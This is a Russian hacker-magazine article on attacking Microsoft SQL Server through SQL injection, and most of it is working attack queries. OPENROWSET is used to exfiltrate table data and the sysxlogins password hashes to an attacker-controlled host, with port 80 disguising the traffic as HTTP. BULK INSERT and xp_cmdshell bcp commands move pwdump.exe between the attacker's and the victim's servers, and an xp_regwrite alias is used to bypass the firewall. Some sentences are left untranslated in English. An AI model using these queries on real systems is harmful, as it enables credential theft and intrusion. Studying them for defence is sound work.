базовый иммунитет ЕКАТЕРИНА ДЕРБЕНЦЕВА Спецвыпуск: Хакер, номер #066, стр. 066-014-5 при помощи такого запроса можно скопировать все поля из таблицы select * from OPENROWSET( 'SQLoledb', 'server=servername;uid=sa;pwd=h8ck3r', 'select * from table1' ) уточненный запрос, сразу указывающий IP-адрес и порт, к которому нужно подключиться select * from OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=10.0.0.10,1433;', 'select * from table' ) В примере SQL Server использует OLEDB-провайдера SQLoledb, чтобы выполнить запрос. OLEDB-провайдер пользуется библиотекой SQL Server sockets (DBMSSOCN) для подключения к порту 1433 на IP-адрес 10.0.0.10 и возвращает результат запроса на SQL-сервер. OPENROWSET используют не только для выполнения запросов типа SELECT, но и для добавления-удаления информации из таблиц при помощи запросов UPDATE, INSERT и DELETE. Манипулирование данными на удаленных источниках данных применимо только в том случае, если OLEDB-провайдер поддерживает данный функционал. Провайдер SQLOLEDB поддерживает все эти функции. пример добавления данных insert into OPENROWSET('SQLoledb', 'server=servername;uid=sa;pwd=h8ck3r', 'select * from table1') select * from table2 Все строки из таблицы 2 на локальном SQL-сервере добавляются в таблицу 1 на удаленном источнике данных. Для того чтобы запрос выполнился корректно, обе таблицы должны иметь одинаковую структуру: одинаковое количество столбцов и строк, а также имена столбцов. пример иллюстрирует получение списка логинов и хэшированных паролей insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins Если межсетевой экран сконфигурирован так, чтобы блокировать все исходящие подключения к SQL-серверу, злоумышленник победит и это ограничение — подберет соответствующую технику. Для передачи данных он может использовать 80 порт, благодаря которому замаскирует передачу данных под http-трафик. маскировка передачи данных под http-трафик insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;', 'select * from table1') select * from table1 Если внешние подключения по 80 порту опять же блокируются межсетевым экраном, злодей возьмется перебирать порты, пока не найдется такой, подключение к которому не будет блокировано. при помощи SQL-инъекций можно загружать файлы bulk insert AttackerTable from 'pwdump.exe' with (codepage='RAW') The binary can then be downloaded to the victim server from the attacker’s server by running the following SQL statement on the victim server: exec xp_cmdshell 'bcp «select * from AttackerTable» queryout pwdump.exe -c - Craw -Shackersip -Usa -Ph8ck3r' запрос для обхода межсетевой защиты exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo','Hacke rSrvAlias','REG_SZ','DBMSSOCN,hackersip,80' and then: exec xp_cmdshell 'bcp «select * from AttackerTable» queryout pwdump.exe -c - Craw -SHackerSrvAlias -Usa -Ph8ck3r' Существуют также техники, позволяющие проникать во внутреннюю сеть либо проникать с одного сервера БД на другой, вглубь сети, в поисках данных, интересных хакеру. |